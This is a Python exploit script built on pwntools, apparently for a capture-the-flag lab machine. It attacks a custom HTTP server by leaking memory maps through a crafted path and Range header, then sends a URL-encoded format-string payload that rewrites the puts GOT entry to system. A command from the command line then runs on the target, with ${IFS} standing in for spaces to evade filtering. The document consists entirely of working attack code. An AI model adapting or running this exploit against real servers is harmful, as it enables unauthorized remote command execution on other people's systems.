fmtstr_exploit.py

#!/usr/bin/env python3

from pwn import context, ELF, fmtstr_payload, log, remote, sys

context.binary = elf = ELF('httpserver')
glibc = ELF('libc-2.27.so', checksec=False)

host = '10.10.10.148'


def url_encode(url: bytes) -> bytes:
    return b'%' + '%'.join(hex(byte)[2:] for byte in url).encode()


def get_base_addresses() -> (int, int):
    http = remote(host, 9999)
    http.sendline(b'GET //proc/self/maps HTTP/1.1/\nRange: bytes=0-10000\n')
    http.recvuntil(b'\r\n\r\n')

    elf_base_address = int(http.recvuntil(b'-')[:-1].decode(), 16)

    http.recvuntil(b'[heap]')
    http.recvline()
    glibc_base_address = int(http.recvuntil(b'-')[:-1].decode(), 16)
    http.close()

    return elf_base_address, glibc_base_address


def main():
    if len(sys.argv) == 1:
        log.error(f"Usage: python3 {sys.argv[0]} '<command>'")

    elf.address, glibc.address = get_base_addresses()
    log.info(f'ELF base address: {hex(elf.address)}')
    log.info(f'Glibc base address: {hex(glibc.address)}')

    command = sys.argv[1].replace(' ', '${IFS}').encode()

    payload = url_encode(fmtstr_payload(53, {
        elf.got.puts: glibc.sym.system
    }))

    http = remote(host, 9999)
    http.sendline(command + b' /' + payload + b' HTTP/1.1\n')
    http.close()


if __name__ == '__main__':
    main()